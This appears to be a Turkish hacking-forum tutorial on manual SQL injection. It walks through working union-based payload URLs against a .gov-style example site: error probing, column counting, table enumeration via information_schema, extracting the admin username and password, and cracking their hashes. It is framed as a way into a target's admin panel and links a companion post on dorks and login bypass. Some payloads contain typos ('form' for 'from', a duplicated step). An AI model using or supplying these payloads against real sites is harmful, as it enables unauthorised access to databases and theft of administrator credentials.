MANUEL SQL İNJECTİON
Sql İnjection (Sql bir database(veritabanı) programlama dilidir. )
Sql ile yapılan kodlama hatalırından dolayı oluşan bir açıktır.
Sayfada Sql kodları çalıştırarak veri çekmeyi hedefleyen, sunucuya yönelik güvenlik açığıdır.
Birden bazla çeşidi bulunan geniş bir açıktır.
Günümüzde bir çok yerde hatta devlet sitelerinde bile Sql hatsına rastlamak mümkün.
Adım Adım Sql İnjection.
Not: Baz kod kısımlarındaki Url'lerin devamının alt satırda bulunması kod bölümünün düzeni ve okunurluk açısından yapılmıştır. Kod kısımlarındaki Url'ler bir bütündür.
1.(Açık varmı?)
İlk olarak Sql açığı arayacağımız site "kelime.asp?id=sayı" gibi değerler içerebilir( Manuel Sql İnjection da "id=sayı" içermesi zorunlu değildir, "id=sayı" içermeyen web sitelerinde de sql açığı aranabilir.),
Sql İnjection saldırsı yapacağımız sitede Sql açığının olup olmadığını anlamak için sonuna " ' "(tektırnak) koyulduğunda hata veriyorsa orada Sql açığının olduğunun bir göstergesidir. Bunu yapmak yerine "Safe3" veya "Acunetix" gibi programlar aracılığıylada Sql açığı olup olmadığını tarayabiliriz.
Kod:
http://ubermensch.gov/page.php?id=5'
2.(kolon sayısı)
Kolon, veritabanı tablosunun bi nevi sütunudur.
Kolon sayısını öğrenmek için "+order+by+sayı" kodunu kullanacağız.
Kolon sayısını bulabilmek için 20 gibi bir sayıdan başlatacağım siteden hata almayana kadar devam ettireceğim.(Kolon sayısı 20 den fazla da olabilir ama genel olarak 20 den az olduğu için 20 den başlatacağım.)
Kod:
http://ubermensch.gov/page.php?id=5+order+by+20
http://ubermensch.gov/page.php?id=5+order+by+17
http://ubermensch.gov/page.php?id=5+order+by+15
http://ubermensch.gov/page.php?id=5+order+by+10
http://ubermensch.gov/page.php?id=5+order+by+8
http://ubermensch.gov/page.php?id=5+order+by+7
3.(Sayı Yansıtma)
Kolon sayısını öğrendik ama şimdi kolondan veri çekerken ki kullanacağımız sayıları ve ya sayıyı yansıtacağız bunu "+union+select+sayı,sayı..." koduyla yapacağız. Bu işlemi yaparken "id" ye bu sitede eş değeri olmyacak şekilde değer vermemiz gerekiyor bunu da bulunan değerin başına "-" koyarak sağlıyoruz.
Kod:
http://ubermensch.gov/page.php?id=-5+union+select+0,1,2,3,4,5,6
veya
http://ubermensch.gov/page.php?id=-5+union+select+1,2,3,4,5,6,7
Ekrana sayı ve ya sayılar yansıyacaktır bu sayının "4" olduğunu varsayarak devam edelim.
4.(version())
"version()" 'u daha önceki işlem ile aldığımız sayının yerine yazalım ve version'u alalım.
Kod:
http://ubermensch.gov/page.php?id=-5+union+select+1,2,3,version(),5,6,7
5.(database())
Şimdi database'nin adının ne olduğuna bakalım, 3. işlem aldığımız sayının yerine yine 4. işlemdeki gibi ama bu sefer "database()" yazarak devam edelim.
Kod:
http://ubermensch.gov/page.php?id=-5+union+select+1,2,3,version(),5,6,7
6.(hex(database))
Önceki adımda çıkan "nietzsche" ismini hex koduna çevirmemiz gerekiyor. (İnternet üzerinde bir çok hex koda çevirici bulunmaktadır.)
"nietzsche" nin hex kodu "6E6965747A73636865" dır. Bunu bir sonraki işlemde kullanacağız.
7.(Tablo Name(Tablo İsimleri))
Bu işlemi 3 alt başlıkta yapacağız
7.1- Şimdi daha önceki işlemlerde de kullandığımız ve 3. işlemde ekrana yansıyan sayı yerine bu sefer "group_concat(table_name)" kodunu yazacağız.
Kod:
http://ubermensch.gov/page.php?id=-5
+union+select+1,2,3,group_concat(table_name),5,6,7
7.2- En sona "+form+information_schema.tables+where+table_schema=" ekleyeceğiz.
Kod:
http://ubermensch.gov/page.phpid=-5+union+select+1,2,3,group_concat(table_name)
,5,6,7+form+information_schema.tables+where+table_schema=
7.3- Hex koduna çevirdiğimiz veritabanı ismini başına "0x" ekleyerak en sona yazacaz.
Kod:
http://ubermensch.gov/page.php?id=-5+union+select+1,2,3,group_concat(table_name)
,5,6,7+form+information_schema.tables+where+table_schema=0x6E6965747A73636865
8.(Admin)
7.yapyığımız işlemle ekranda tablo adlarını var biz buradan işimize yarayanı çekeceğiz.(siz isterseniz hedef sitenizdeki diğer tabloları da inceleyebilirsiniz.)
Admin panele giriş yapabilmek için admin bilgilerine ihtiyacımız var.(Bunlar her tabloda farklı yerlerde konumlandırılmış olabilir siz admin bilgilerini verebilecek uygun tabloları sırayla deneyerek bu verilere ulaşabilirsiniz.)
Çıkan tablolardan birinin ismini "admin" var sayalım, yine "admin" kelimesini hex koduna çeviriyoruz ve tablonun sonuna "+and+table_name=" koyuyruz, bunu da sonuna "0x" ile admin'in hex kodu olan "61646D696E" ekliyoruz.
Kod:
http://ubermensch.gov/page.php?id=-5+union+select+1,2,3,group_concat(table_name)
,5,6,7+form+information_schema.tables+where+
table_schema=0x6E6965747A73636865+and+table_name=0x61646D696E
9.(user - password)
Admin tablosunun başlıkları arasında bizim admin panel girişte kullanacağımız değerleri çekmemiz gerekiyor bu başlıklar "user - password" varsayarak devam edelim.
Diğer işlemlerde de kullanıdığımız 3. işlemde ulaştığımız sayınya bu sefer başlık ismini yazacağız ve en sona "+from+tabloAdı" ekleyeceğiz
Kod:
http://ubermensch.gov/page.php?id=-5
+union+select+1,2,3,(password),5,6,7+from+admin
Admin panelin Password'una ulaşdık sıra "user"de.
Kod:
http://ubermensch.gov/page.php?id=-5+union+select+1,2,3,(user),5,6,7+from+admin
Md5, Sha,...
Bazı siterde "password" direkt gözükebilir, bazı siteler de "Md5, Sha,..." gibi şifreleme yöntemleriyle şifrelenmiş olarak gözükebilir bu şifreleri kırmak gerekir.(https://hashes.com/en/decrypt/hash size yardımcı olabilir.)
Sql Dork Ve Login Sql Bypass'ı da anlattım onunla beraber bunu okumanız, öğrenmek ve öğrendiklerinizi uygulayabilmek açısından daha yararlı olacaktır: https://www.turkhackteam.org/web-s...ql-dork-ve-login-sql-bypass.html#post9291136
Son düzenleme: